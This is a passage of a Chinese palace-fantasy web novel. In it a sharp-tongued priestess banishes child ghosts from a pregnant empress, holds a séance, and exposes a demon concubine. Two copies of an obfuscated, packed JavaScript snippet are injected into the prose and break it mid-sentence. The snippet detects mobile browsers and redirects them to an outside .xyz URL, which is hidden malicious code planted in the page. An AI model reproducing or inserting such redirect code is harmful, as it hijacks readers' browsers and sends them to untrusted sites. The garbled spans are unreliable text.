两人刚回去就听星辰宫里人声嘈杂,仿佛是出什么事了,尹星灯一向事不关己高高挂起,林瑶又不是爱凑热闹的人,二人并不急着询问,但是,主角实在太过高调。 林瑶一眼瞥向观星楼吓了一跳,只见一个少女站在楼顶边缘,衣衫在风中凌乱,给人一种错觉,她似乎马上就会被风吹下来。 林瑶一颗心在胸腔中乱跳,慌慌张张挤到人群前面,怕突兀喊一声吓到宫玄烛,出声之前使劲儿招手好让她注意到自己。 “玄烛!你这是做什么!” 上面的人依旧那副漫不经心的调调:“我活够了,看不出来吗?” 林瑶既费解又焦急,出了一脑门子汗,朝上面喊道:“你先下来,有话好好说!” 宫玄烛往前走了一步,一脸看透生死的淡然:“死生有命,富贵在天,不必再劝。” “你别冲动!” 林瑶回过头见尹星灯在自己身后,急忙道:“师父,您劝劝玄烛吧!” 尹星灯双手抱臂,不知道在想些什么,听了林瑶的话果然有所反应,朝上面喊了一句:“为师已经替你掐算好了,这个时辰宜投胎,下辈子位极人臣。” 宫玄烛有点好奇:“能做丞相还是做护国大将军?” 尹星灯微笑:“天天伺候皇上。” 擦,感情是个太监啊! 谁也没想到宫玄烛真的从上面跳了下来,仿佛一只断线的风筝,又如一颗投入湖面的石子,顷刻之间就会坠落在地面上,千钧一发之际林瑶冲了出去,足尖点地一跃而起,在宫玄烛落地之前死死抱住了她,但从高楼上坠落的冲击力还是太大,林瑶只感觉全身的骨头几乎都要被撞碎了,但却没有如想象中那般狼狈地摔倒在地,两个人平平稳稳地踩到了地面。 尹星灯掸掸衣袖上并不存在的灰尘,向林瑶微一招手:“一会儿往北极殿拿两份早点。” 说完之后转身就走,走了几步又觉得有必要避嫌,微一侧身对一众看热闹的弟子道:“你们不要误会,为师只是最近胃口好,才不会跟你们大师姐一起共用早膳。” 弟子们愣了一会儿,反应快的心照不宣地发出低低的“哦~”,鬼头鬼脑地去瞅林瑶。 林瑶早已飞红了脸颊,只能装作无事发生,转身就走,脚步越来越快,逃也似的跑出了观星楼一带,这才发现自己把宫玄烛忘了,又急急忙忙往回赶。 还好,看热闹的都已经散了,原地只剩宫玄烛一人,背着手溜溜达达在石子路上散步,微微皱着眉头,看样子是遇到了极其棘手的事。 “玄烛,你怎么呢?” 林瑶走到近前,轻轻拉住了她的手。 在她来之前,宫玄烛已经驴拉磨似的转了好几圈了,她自然是为了阴桃花的事烦恼,这几天都不敢合眼,熬鹰似的熬着,感觉困意来袭就掐自己一下,以至于现在黑眼圈都快掉地上了,再不解决这个阴桃花,她真的就要崩溃了。起先还是想着相亲那招,她也不敢拿别人的性命冒险,思来想去还是找命硬的尹星灯,结果对方死活不肯,要为林瑶守身如玉,拜托,林瑶听到这个消息会比考入梵净山还开心。 后来,她又想到了寻死,如果阴桃花一直在暗中观察着她,那么在她遇到生命危险时应该会有所反应,她知道有林瑶在一定会被她阻止,瞅准了时机才爬上观星楼,没想到小白花回来得还挺快。 但这事儿她也不好跟林瑶说,谁知道阴桃花现在是不是就在她身边,免不了扯个谎。 “没事,我让人给甩了。” “啊?” “好奇对方是谁啊?” 林瑶连连摆手,脸涨得通红:“没有没有!” 半晌又期期艾艾道:“玄烛,你不要难过,你还这么年轻,不要想不开啊,而且你这么厉害,是我们琅嬛国的少祭司,怎么能因为这些事就犯傻呢?你还有父母、兄长,如果你出了什么事,你的家人多伤心啊——” “呵呵……”宫玄烛一阵干笑,适时打断了她,“我知道了,知道了,以后再也不会了,听君一席话,胜读十年书啊,简直令我茅塞顿开。” 林瑶微微咬住了下嘴唇,有些不悦:“人家好心好意劝你,你又这般嬉皮笑脸敷衍了事……到底听进去了没有啊?” 宫玄烛这几天乏的慌,好不容易逮着个人自然要拿来逗逗闷子:“那师姐有什么不开心的事嘛,说出来也让我开心开心。” 林瑶攥起粉拳但是没有砸下去,自袖中拿出一块令牌来塞到宫玄烛手里,宫玄烛低眸一看那令牌形制简直牙根都酸了:“你又从哪里给我揽的差事啊?不要不要!能退回去不!” 林瑶怕她丢回来,连忙后退几步,双手背后一副无辜的模样:“退不了呢。” 宫玄烛叫苦连天,真是屋漏偏逢连夜雨、船迟偏遇打头风,拿着那块令牌在手里抛了几下,叹气道:“站那么远干嘛,倒是告诉我什么事啊?” 林瑶走近了,踮脚在她耳边低语一阵。 “就是这样了,事态紧急,你准备好了我们就一起进宫吧。” 择日不如撞日,说是今天就今天,宫玄烛随林瑶直奔桐华宫。 林瑶看着“两袖清风”的宫玄烛不禁替她操心:“真的不需要准备点什么嘛?” 宫玄烛还在想着自己的心事,嘴里胡乱答应:“需要准备什么?” 林瑶:“比如符纸、香烛、桌案……” “那我是不是还需要配把桃木剑啊?” 林瑶哑然,你舍得死我就舍得埋啊,就这样吧。 宫玄烛此时已经心情大好,当局者迷,旁观者清,林瑶一语点醒梦中人。 扶乩请仙,自己怎么没想到呢?这个世界上,鬼神的事还需要鬼神来干预。 林瑶前去禀报皇后,宫玄烛就在殿外候着,不多时一个大宫女出来了,微笑施礼:“大人,娘娘有请。” 宫玄烛不经意一瞥,甚远之处有一座宫殿,里面树木遮天,阴气逼人,宫道里却忽然闪出一行花红柳绿的人影,有乘轿的、有随行的,宫玄烛嘴角不禁勾起了笑意,下巴微微朝那边一抬,低声问道:“玄烛第一次进入内宫,敢问姐姐,那边是什么所在?” 这大宫女微微抬眼,对那地方似乎有些忌讳,但宫玄烛发问了又不好不回答。 “那是荼蘼宫,妃嫔若有严重过失,会被贬入荼蘼宫思过,能从里面出来的几乎没有,基本上就惨淡一生了。” “原来如此,再请教姐姐,荼蘼宫中如今可还有人在吗?” 大宫女皱皱眉头,似乎是嫌宫玄烛的问题太多了,不过就是个司天监的女官,怎么能跟兵部、礼部真正掌有实权的大人比,语气也明显不如之前恭维了:“那破地方如今也就几个负责洒扫的老嬷嬷过去,之前一位周美人,如今已经死了。” 宫玄烛点点头,自袖中摸出了一只纽扣大小的珍珠戒指,洛都的小玩意,流光宗一带随处可见,但人离乡贱、货离乡贵,这东西一拿出来,姐们的眼睛立刻亮了,推辞两番揣进兜里,喜笑颜开:“少祭司客气了,这都是咱们应该做的。” 嗯,不错不错,有钱能使鬼推磨,甚至能使磨推鬼啊。可惜这么浅显的道理,林瑶她是不会明白的。 踏入桐华宫,宫玄烛第一反应是——好重的怨气,再抬眼观瞧上座的皇后,宫玄烛心里直嘬牙花子。 啧啧啧!再过几天就能拉出去埋了,坐六宫之首果然是不容易,这是拉了多少仇恨在身上啊。 在宫玄烛眼里,皇后额头一团黑气笼罩,肩头两盏命灯昏暗,将熄不熄、苟延残喘,在她脚下跪坐着两个衣衫褴褛的蓝脸小童,一左一右抱着她的小腿,虎视眈眈盯着她高高隆起的肚腹,其中右边的女童忽然伸出了长长的舌头,眼看舌尖就要触碰到皇后的小腹,恰逢皇后伸手轻轻抚摸了一下肚腹,自她手腕上发出一道白光,刚好将女童的长舌头挡了回去,女童仿佛被火烫到了一般,迅速缩回了舌头,目露怨毒地盯着皇后。 宫玄烛看得清楚,皇后手腕上戴了一串雪白的菩提珠,开过光的东西,但是炼制者道行不够,这东西大概只能挡上两三次灾。 皇后注意到了宫玄烛古怪的目光,心底有些不满,不由皱眉:“少祭司在看什么?有什么话不妨直说。” 宫玄烛真就直说了:“娘娘手腕上的珠子不错,不过嘛,一分钱一分货,既然是白捡的,驱邪避祸的效用有限,属于是日抛货,不如我送娘娘一件半辈子抛的,保证是价格公道童叟无欺,全国上下有口皆碑,不满意七天包退。” 那个大宫女若不是之前受过贿赂,这会儿可能已经叫人把宫玄烛轰出去了,但是拿人钱财与人消灾,少不得替她卖卖力,连忙满脸堆笑看向皇后:“娘娘,少祭司乃是出家之人,没进过内宫,望娘娘大人不记小人过,恕不知者无罪吧。” 皇后微微抬手,秀眉紧紧蹙起:“本宫这小腿酸痛得厉害……” 两旁宫女连忙上前,跪倒在地轻轻替主子揉捏,而那两小鬼已经窜到皇后身后去了,从她肩膀上探出两颗头,给宫玄烛一种皇后长了三个脑袋的错觉。 此时,那两小鬼仿佛也察觉到了陌生的视线,四只眼睛齐刷刷望向了宫玄烛。 一人两鬼就这么对视了片刻,那个女童咯咯咯地笑了起来,空灵的声音飘到了宫玄烛耳畔。 “你看得见我们吗?” 她咯咯娇笑着,笑得花枝乱颤:“大姐姐,你愿意陪我玩嘛?” 那个男孩却怒视着宫玄烛,声音冷冰冰的,过分漆黑的眼睛里仿佛带着地狱的业火。 “你的死期就快到了。” “有一只恶灵缠上了你,你知道的吧?” 对于他们说的这些,宫玄烛一概当屁处理,自己拉了一把椅子坐了下来,对着身边一圈人微微一点头:“闲杂人等请回避,娘娘请捂上耳朵,因为我接下来要说的话可能有点不太好听。” 皇后看了看身侧的林瑶,后者微微点头,给她肯定的眼神,于是皇后点头同意,闲杂人等通通撤离,偌大的正殿只剩下皇后、宫玄烛、林瑶三人。 林瑶刚伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489951|185807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手想替皇后捂上耳朵,皇后却摇摇头:“不必,本宫想知道我这突如其来的病究竟是怎么回事。” 宫玄烛稳如泰山往下垂首一坐,眼神如两道寒光,先看向了那个凶巴巴的小男孩,微微一笑伸出了一根雪白的玉指:“第一,有恶灵缠上我是它倒霉,像你们这样损人利己的货色,来一个我收拾一个,来两个我收拾一双,省的我费事儿去到处找,怎么处理垃圾怎么处理你们。” 眼看男童眼底的怨气越来越盛,似乎随时想扑上来撕碎了她,宫玄烛不紧不慢又伸出一根手指:“第二,我的死期快到了又怎样,关键是我现在还活蹦乱跳的,活着就有无限可能啊,哪里是你们这些死鬼能比得了的,像你们这种人,啊不,这种东西,活着费粮食死了臭块地,还每天出来祸祸别人,脏心烂肺啊,阴沟里的耗子人人喊打,死了活该,死了拉倒!” 男孩惨叫一声,仿佛被人迎面一拳,他仰面朝天,嘴巴大张到不可思议的程度,冒出浓重的黑气,眼睛变得血红,发疯般朝宫玄烛冲了过来,惨白的面孔扭曲成一张破败的画布,哗啦哗啦往下来掉东西,宫玄烛稳稳当当坐着,眼看厉鬼近在眼前,她忽然长袖一甩,几颗雪白的珠子嗖一下飞了出去,啪啪啪——珠子一颗没浪费,全招呼在男童身上了,宫玄烛打了个清脆的响指,轰隆一声,如同爆竹炸裂,男童的身影在空中摇摇晃晃,忽然跌落下来,如同一团破棉絮堆在宫玄烛脚边,用仅存的半张破碎面孔看向宫玄烛,不知是怨恨还是自嘲。 “她们不给我出生的机会……焉知我不是好人啊……” 宫玄烛正眼都没瞧他,声凉如冰:“这位小朋友,不要试图道德绑架我,因为我没有道德。” 接着宫玄烛又笑眯眯看向那个女童:“刚才不是要姐姐陪你玩吗?有本事跟姐姐出去聊,姐带你去晒晒太阳,哎呦,我忘了,小妹妹见不得光,容易化作一缕青烟,随风而逝!” 女童张张嘴,刚想说话又被宫玄烛打断了:“小孩子家家不学好,谁教你们这些损阴德的勾当的!搁我十年前那脾气骨灰都得给你们扬了,识相的赶紧滚,别逼我动手!” 那女童眸光一闪,知道今天碰上硬茬了,脑袋一缩消失在了皇后身后,宫玄烛摇头叹气,往地上那团流得十分邪门的黑水中撒了把糯米,只听噗呲一声,宫殿里传来尖锐刺耳的稚童惨叫之声。 皇后精神恍惚,吓得浑身一颤险些摔下凤榻,林瑶赶忙扶住了她。 这边宫玄烛摆摆手:“可以了,让娘娘好生歇息就是。” 宫玄烛刚起身,头上大汗淋漓的皇后急忙伸手拦住:“少祭司且慢……” 宫玄烛缓步行到近前,只见皇后斜倚在林瑶身上,眸中含着朦胧的泪光,苍白的嘴唇轻轻颤动:“你说的那个珠子,怎么卖的?” 宫玄烛眼前就是一亮,发财的机会来了! 迅速从兜里摸出随身携带的三四串护身符,提在手里一一介绍:“这是沉香木,这是檀木的,一来驱邪避灾,二来带在身上肌肤生香,三来没事儿还能盘两圈,可谓是消灾美容消遣三不误,买不了吃亏买不了上当。” 皇后微微一笑,一天的乌云满散,伸手一指宫玄烛:“本宫要你腕上那串,不知少祭司可否忍痛割爱?” 宫玄烛先是一愣,随后明白过来,这是把我当活佛了吗? 她腕子上那串绿檀珠已经戴到褪色了……别问为什么会褪色,问就是曾经踩过坑,被天杀的奸商给骗了,什么深山原木,匠心打磨,高僧加持,呸!要是让她再找到那个神棍,人脑子非得给他打出狗脑子! 至于为什么把耻辱戴在身上,一来自然是花了三十两雪花白银,跟什么堵气不能跟钱堵气,再者说了,这玩意儿吧,咱当它是真的它就是真的,千金难买我乐意;这二来嘛,也是为了警醒自己,以后只有我忽悠别人的份儿,万万再没有别人忽悠我的份儿! 宫玄烛故作痛心疾首之态,伸手捂住了手腕:“这,实不相瞒,此乃臣下祖父逝世之前所赐,臣下日日夜夜戴在身边不愿离身,还望娘娘体恤臣下……” 皇后一听此言,情知不能强人所难,但又恐再次被梦中鬼怪侵扰,也着实担忧腹中孩子有闪失,思虑再三还是向宫玄烛请求割舍爱物。 宫玄烛早知如此,故作为难跟她拉扯几回,眼看火候差不多了,见好就收,这才将腕上珠串褪了下来,恭恭敬敬双手奉上,皇后如获至宝,抓在手里一颗心这才算有所依托,笑问道:“少祭司这传家之宝舍了本宫,不知要价几何?” 宫玄烛微微噙笑:“心诚则灵心诚则灵。” 钱越多越灵!给我一万六界通宝,我天天蹲门口给你放哨都行! 林瑶看着她喜滋滋从宫女手里接过一千两银子时,不禁咋舌,这究竟是什么人啊,连皇后都骗,真不怕掉脑袋吗? 不过宫玄烛虽然贪财了些,却也是真正办事的人,当即决定帮人帮到底,送佛送到西,对,她就是在接过银子的一瞬间,决定替皇后彻底摆脱鬼怪的骚扰的,可见其人品次到了什么程度。 19. 笔仙笔仙,来吃大餐 折腾了许久,皇后在内殿休息,宫玄烛与林瑶一起在外殿排摆开桌宴。 供桌、香烛、纸元宝、牛羊肉、御酒…… 林瑶一看宫玄烛这架势,忍不住好奇:“娘娘这次遇上的邪祟很厉害吗?” 宫玄烛摇摇头,指向自己的鼻尖:“不是她遇上的邪祟厉害,而是我,我遇上大麻烦了。” 林瑶不禁起急:“什么!你为何不早说?” 提起这事宫玄烛气不打一处来:“关键是你们不给我说话的机会啊,孩子死了你来奶了,靠人不如靠自己。” 她继续收拾着扶乩所用之物,林瑶在旁边欲言又止,脸颊红扑扑的,生怕宫玄烛又说出更好的来,连忙找补:“玄烛,请仙还需要准备什么?” 宫玄烛大致扫了一遍眼前的供桌,确保什么都不缺了,这才盘腿坐在蒲团上,伸手点燃三支线香,随口答道:“还需要叫人。” 林瑶举起小手跃跃欲试:“那我去帮你叫人吧。” 宫玄烛都不知道该怎么接话,舔了舔嘴唇笑眯眯看向清澈愚蠢的小师姐: “乖……你帮我叫个车就行,我怕加班久了赶不上末班车啊。” 林瑶:感觉又被师妹嫌弃了…… 亥时三刻,桐华宫外殿阴风阵阵,吹起芙蓉纱幔狂舞如蛇,冷风直往人的骨缝里钻,一排排红烛依次被吹灭,只剩下供桌上四根白烛还在燃烧,宫玄烛指尖转动星珠手串的动作忽然一顿,她刷一下睁开双眸,瞳孔震颤。 供桌上只剩了四支白烛,而红烛被吹灭了,这次扶乩请来的不是仙…… 眼前四点橘红的火苗同时一闪、霎时间变成了青蓝色,她不由攥紧了双手,此时不敢轻易转头,只能用余光去瞥旁边的林瑶,希望我方队友能帮上忙,这一眼望过去,呵呵,宫玄烛悬着的心彻底死了,我方队友已经躺地上了,后备军凉得比我还快,这还玩个六啊! 没办法只能硬着头皮上了。 昏暗的烛光只能照亮半张供桌,在宫玄烛对面还有一个空着的坐垫,那是留给客人的,可对方明明已经来了却久久不愿落座。 莫非是觉得我年纪太轻,觉得我道行不够听不懂他的谶语,所以不屑于帮忙。 很快这个猜测就被打消了,因为宫玄烛感觉到有人站在了自己身后,月色入户,宫玄烛明显看到,地板上除了自己的影子,还多了一个挺拔的身影,又瘦又高,长发随风舞动,如同水中藻荇。 地上的黑影越靠越近,就站在她身后,伸出了右手,五指纤长,缓缓探向宫玄烛。 该死的,居然不按套路出牌,你想干什么!直接破坏规则弄死我吗? 就在宫玄烛准备先下手为强,召唤魂灯跟对方硬碰硬时,右手手背忽然一凉,一只苍白如纸的手按在了她手上,冷得彻骨,如同整只手塞进了雪堆里,身后来客执起她的手自供桌旁边取下了毛笔,蘸上砚台里早就准备好的朱砂,毛笔被两个人握着,如一把利刃悬在铺开的白纸上,朱砂滴落,在纸上溅开,如同刺目的血点子。 管你是谁,死马当活马医! 宫玄烛迅速收回思绪,专注于仪式,迅速在纸上写下所问之事。 在她停笔之际,感觉到身后那人似乎微微沉吟了一下,随后迅速有了动作,抓着她的手在纸上刷刷点点,龙飞凤舞,洋洋洒洒,四行血色草书呈现纸上。 画人画皮难画骨,荼蘼寂寞死逢春。仙台有仙君难寻,鱼米逢春祭洛神。 宫玄烛大致扫了一眼这四句诗,只见藏头露尾,所指何人一目了然。 做到心中有数迅速在纸上写下了自己所问之事,这次,身后来客却没有及时给出答案,笔尖悬在纸上许久,朱砂一点一点落在纸上流向四周,如同一行行血泪,宫玄烛猜测,或许是这阴桃花太过厉害,所以这位一时也无法给出肯定的答案吧。 眼看点燃的线香只剩小指长短,宫玄烛左手去摸供桌上摆放的蜡烛,打算将桌上的金元宝一烧,把这位送走完事,不料那只手却有了新动作,拉着她的手迅速在纸上写了起来。 宫玄烛瞪大了眼睛,盯着燃得越来越快的线香看,那只手握着她的手写得飞快,纸上的字如同疯子画下的不明符号,线香最后一截燃烧殆尽,香灰在空中无声折断,宫玄烛迅速将蜡烛望金元宝堆成的纸塔上一丢,火焰一窜三尺高,与此同时宫玄烛眼角余光忽然瞥见一角红衣,心跳就是一滞。 魏何惜? 又觉得是自己太过草木皆兵,穿红衣的就是魏何惜吗?骑白马的还不一定是唐僧呢! 书页载尽三千问,烛火未举因月痕。日照京华胭脂色,人走茶凉听雨声。 宫玄烛一时没有看透背后玄机,遂执笔将这四句谶语写在自己的手帕上,贴身收好。 而对于皇后的病症却已经是胸有成竹,叫醒了旁边昏迷的林瑶,对方迷迷糊糊从梦魇中醒来,眼眶微微泛红。 宫玄烛伸手拉她起来:“走了走了,地上凉,回去再睡昂。” “抱歉啊玄烛,本来想帮忙的,没想到还是没有帮上。” “无妨无妨,不帮倒忙就是帮了最大的忙了。” 两人并肩行走在宫道上。 “画人画皮难画骨,荼蘼寂寞死逢春。仙台有仙君难寻,鱼米逢春祭洛神……” 林瑶轻轻念诵这四句谶语,似有所悟:“民间有一种鬼怪叫做画皮鬼,我以前见过一次,荼蘼寂寞莫非是指荼蘼宫?” 宫玄烛点头肯定:“继续说下去。” 林瑶微锁蛾眉,琢磨着剩下两句谶语,一时不解其意,但抬眼一看,对面刚好有一队凤銮仪仗招摇而来,她脑子里灵光乍现,忽然就反应过来了。 仙台换而言之就是瑶台,取其瑶字,鱼米逢春祭洛神,洛神就是蓝情浅,取蓝字之首,下面添上鱼、禾二字,就是苏。 苏贵妃的步辇在她二人眼前停下,那双丹凤眼在两人身上扫过,鼻翅里发出不满的哧声,展眼先看向那张新面孔,见宫玄烛一身繁复的道袍,面纱遮挡之下只露出一双深邃的眼睛,那双眼睛仿佛能看透一切,眼角挂着让人不寒而栗的笑意。 苏贵妃被她盯得浑身不自在,挺直了腰杆子,提高嗓门责问道:“你是什么人?见到本宫为何不行礼?” 宫玄烛微微噙笑:“我这一拜恐怕苏娘娘受不起。” “大胆道姑!普天之下莫非王土,你既是琅嬛国人,如何跪不得本宫?” 宫玄烛:“苏娘娘以为呢?本道这双膝跪诸神、跪父母,一些山猫野鬼,穿人皮三分像人,瞒得过酒色之徒,可瞒不过我。” 苏贵妃眸子微微闪躲,只觉得对方一双眼眸寒光凌冽直往人肉里钻。但想起光天化日之下,这道姑未必敢直接对自己动手,仗着人多势众,颐指气使道:”好大的胆子,居然赶顶撞本宫,来人!把这两个不知天高地厚的贱人给我拉去宫正司!让李公公好好教教她们尊卑贵贱之别!” 林瑶见宫玄烛并不反抗,而是任由两个小太监押着,自己也不禁纳闷,猜不透宫玄烛究竟想做什么。 宫正司的李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489952|185807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公公满脸褶子、脑满肠肥,一些当值的小宫女没少受这老畜生的欺负,今天忽然见送来了两个美貌道姑,李公公眼睛发光,口水差点掉地上,装腔作势遣散了闲杂人等,待屋子里只剩下两女一畜时,李公公犹如饿狼扑食般直奔林瑶,想去拉她的手,林瑶迅速躲开,李公公身体笨重,脚下一歪一头钻进了桌子底下轻易爬不起来,如同一块肥猪肉在地上乱颤。 林瑶皱皱眉看向宫玄烛,对方已经在主位上坐下来了,习惯性地想倒茶,但一想这茶杯可能是老太监用过的,遂罢手,翘起一只脚搭在桌子上。 林瑶有些气恼,语气不由加重:“玄烛,你到底想做什么?” 宫玄烛轻轻叹气:“急什么,救你的人马上就到了,乖了,先牺牲一下你的色相,等会我给你报仇啊。” “小美人儿!你别挣扎了,进了宫正司没人能救得了你!乖乖顺从咱家,有的是好处!” 李公公张开手又向林瑶扑了过去,林瑶只能左躲右闪,本来是能轻易躲开的,无奈身后有人使绊子,冷不防宫玄烛伸出一只脚勾了她一下,林瑶哗然倒地,摔得鬓发散乱,再想起身可来不及了,只能就地一滚,躲得狼狈不堪,忍不住破口大骂:“宫玄烛!我饶不了你!” 五、四、三—— “瑶儿!” 正堂的门被一脚踹开,门板倒地激起粉尘无数,尹星灯脸色铁青,毒如冷箭的眸光四下一扫,见林瑶摔倒在地,白衣上满是灰尘,神色惶急,一个老太监满头大汗、扶着桌子喘粗气…… 尹星灯拳头几乎捏碎,眼眶里泛着血色,脚步沉重地走向林瑶,一边伸手扶起爱徒,另一手暗掐天星诀,室内白光如昼,成百上千细如牛毛的光刃悬在李太监周围,李太监两条裤腿瑟瑟乱抖,眼珠子几乎要冒出眼眶,满头大汗登时变成了冷汗,僵硬地扭过堆叠成三层的头身连接处,满脸油腻的媚笑:“尹国师,咱家跟这位姑娘闹着玩呢……” 尹星灯眼眸低垂不知在想些什么,听了这话咬着牙一笑,两腮边肌肉微微颤动,宫玄烛登时血都凉了,不好,玩脱了!这下恐怕在劫难逃。 只见尹星灯狠狠一攥拳,指甲几乎要嵌进自己的血肉里,悬浮在空中的星光如同收紧的丝线,将中间的李太监包裹成了一个蚕蛹,噗——随着光线尽数消失,鲜血如同一场急雨,除了林瑶和尹星灯,整间屋子包括宫玄烛,没有一块地方是干净的。 尹星灯扶着林瑶,眸子漆黑而幽冷,经过宫玄烛时目不斜视,手中寒光乍现,林瑶急忙拦住,惊叫道:“师父!您怎么呢?您看清楚这是玄烛!” 尹星灯眸中寒意不减,却因为林瑶握住了他的手臂,只能暂时压住心中滔天怒气,手中蓄势待发的阵芒迅速暗去,伸手在林瑶头顶轻轻摸了摸,发出一声低叹:“你啊……总是如此,岂不知防人之心不可无,要为师嘱咐多少遍才能记住?” 宫玄烛捂着被几根光刃伤到的右臂,鲜血滴滴答答直往下淌,心知这是尹星灯小惩大诫,林瑶还真是他的逆鳞,自己这步棋下得太险了。 尹星灯师徒二人刚走出宫正司,就见门口鬼头鬼脑有个小宫女,尹星灯当即喝住她,小宫女哆哆嗦嗦,跪在地上一五一十将事情交代清楚了。 “贵妃娘娘让奴婢来探听情报,告诉李总管,两个姑子不留活口,处理地干净些……” 宫玄烛走出宫正司的大门,就见粉壁墙上仿佛是被谁泼上去了一滩新鲜的血液,她以为尹星灯会直接杀到苏瑶的宫殿里去,却不尽然,尹星灯带着林瑶回了星辰宫。 20. 轻轻的我走了 宫玄烛摇摇晃晃回了离梦阁,林夕见她满手鲜血吓了一跳,急忙上前搀扶她坐下:“这是怎么回事?” 他从未见过她受伤的样子,而且还这么严重,不由心下惶急,连忙将药囊搬过来,各种金疮药都用上了,可是她手臂上那几道口子依旧是鲜血淋漓,宫玄烛自己拿纱布包裹住了,缠了一层又一层,血迹终于不再往外渗,这才算松口气,面对林夕的追问也只能是敷衍糊弄过去,林夕见她满嘴跑火车没一句实话,索性不再追问,坐在旁边生闷气。 宫玄烛也不惯着孩子,凭什么哄他,自己还倒霉事一大堆呢。 坐在灯下拿出了那张写了四句谶语的纸条细细观摩,百思不得其解。 有阴桃花存在,她想睡也不敢睡,拿着这哑谜解闷,手上写写画画,一个字一个字的联想,林夕见她困得点头如捣蒜,过来劝了好几遍,宫玄烛依旧摇头,一边眼皮打架一边嘀咕:“我不困,一点都不困……” 哐当一下,整个人险些栽倒在地,林夕急忙闪身过去扶住她的肩膀,宫玄烛的脑袋就枕在他胸口,沉沉地闭着眼睛,面容憔悴,眼眶深陷,眼窝下两团阴影,看样子外面打几声响雷她都醒不过来。 林夕伸手虚抚着她的脸颊,指腹轻轻掠过她的眼睫、鼻梁,最后顿在嘴唇上方,唇角微微勾起一抹古怪的笑意。 “好好睡吧,今夜你会做个美梦的。” 宫玄烛一觉醒来,天光大亮。 她恍惚了一会儿,忽然坐直了身子,整个人如同被雷劈了。 我睡着了?什么时候? 我梦见什么了来着? 她努力地回想,寻找蛛丝马迹,大脑却是一片空白。 没有做梦……难道阴桃花已经歪打正着被化解了不成?刚冒出这个想法她就自己否决了,宁可信其有,不可信其无,对于这种东西,在亲手将其挫骨扬灰之前还是保持警惕的好,昨晚真是大意,居然稀里糊涂就睡着了,宫玄烛一阵后怕,得亏自己早有准备,不然真就吃大亏了。 宫玄烛起身,叫了两声林夕,没有人搭话,估计是出门了。 “唉,老是这么着也不是办法。” 行至梳妆台前,先伸手推开了窗户,清风入室,青山入眼,纱幔飘飘若仙袂,主人轻轻落座,执起檀木梳对镜理着一把及腰青丝,去了面纱的脸映在镜子里,无比清晰,玉手轻轻在铜盆里蘸上水,指尖对着铜镜轻轻一弹,镜面上的容颜便模糊不清了,恰似镜中花水中月。 “这么怕我看清你的容貌?” 门外脚步声响起,林夕的身影出现在镜中,他那张脸即使出现在镜子里也是模糊不清的,恰似宫玄烛永远遮着面纱的脸。 “跑哪去了?” “睡得好吗?” 两个人几乎异口同声地问出问题,却并不打算回答对方的问题。 半晌林夕打破了沉默:“苏瑶死了,被国主下令杖毙。” “意料之中……还有呢?” “还有,我要离开了。” 宫玄烛甚至都没有回头,她见过的灵,杀过的灵也太多了,林夕只是其中之一,而且来历不明,放在身边着实危险,眼下他自己说出来了,倒省得她费脑筋下逐客令。 “是因为鬼节快到了吗?” “是,也不全是,而且你也希望我能离开,不是吗?” 他的声音平静至极,仿佛曾经也做过此番决定,可以静默无声地离开一次,就可以离开第二次、第三次,因为不被需要,因为被人怀疑,所以没有再待下去的必要,但是还是抱着一丝希望,渴望着那声迟到的挽留。 宫玄烛微一侧首,小楼里空空荡荡的,那只灵已经离开了,悄无声息地来,悄无声息地离开,人鬼殊途,这或许是最好的结局。 不知何时,风雨入户,雨丝凉凉吹在脸上,顺着脸颊缓缓滑落,如同荒唐的泪水,可她是个从不会说挽留,从不流眼泪的人。 来去随缘,无需伤怀,生老病死,徒劳牵挂。 自小抽屉里拿出小竹筐,里面堆满了各种碎布料,针线、剪刀一应俱全。 宫玄烛一愣神的功夫,摆在梳妆台上的傀儡娃娃说话了,是个稚童的声音,空灵惊悚,有前音没后音。 稚童的声音飘荡在木制小楼里:“主人,你终于要给我做新衣服了嘛?“ 宫玄烛拿着一片黑色布料在傀儡娃娃身上比划比划,随即平铺在桌子上,叠了几叠,用白垩画好轨迹,剪刀顺着笔画裁剪过去,轻轻叹了口气。 傀儡娃娃随之皱起了眉:“主人,你怎么呢?你最近总是愁眉不展的。” 她穿好针线,细细缝制起来,却有些心不在焉:“阿偃,我总觉得,林夕身上有太多秘密了,他看着我的时候,像在透过我的眼睛看另外一个人。我思来想去,他靠近我绝对是有目的的,也一直在等他开口或者行动,可是都没有,他离开了,他并非有求于我,也不害我性命,到底是图什么呢?” 阿偃气愤愤道:“他就是无聊呗!这种话说一半的谜语人太讨厌了!主人以后不要再理这些孤魂野鬼!谁知道他们安的什么坏心!“ 阿偃叽叽喳喳,宫玄烛被吵得脑仁都疼,适时打断了它:“不说这些了,我积攒的功德有多少?” 阿偃这才停住了嘴角,大眼睛咕噜噜转了几圈,樱桃小嘴扯出一抹笑意:“已经有二十四粒了。” “给我吧。” 她将手伸了出去,阿偃有些不解,但还是乖乖吐了出来,一颗颗透明的珠子里泛着迷蒙的光彩。 阿偃忍不住好奇道:“主人,这些功德你都攒了五六年了,这是要拿去做什么啊?舍得全都用了,以后要是遇到危险怎么办?” “千金散尽还复来,我眼下已经遇到很大的麻烦了。” 宫玄烛放下手里的布料,拿出贴身保管的手帕,就是写了谶语的那个,将所有代表功德的珠子都放在手帕上,右手掐诀,嘴里默念几句,只见手帕中间如同咧开了一张贪婪的 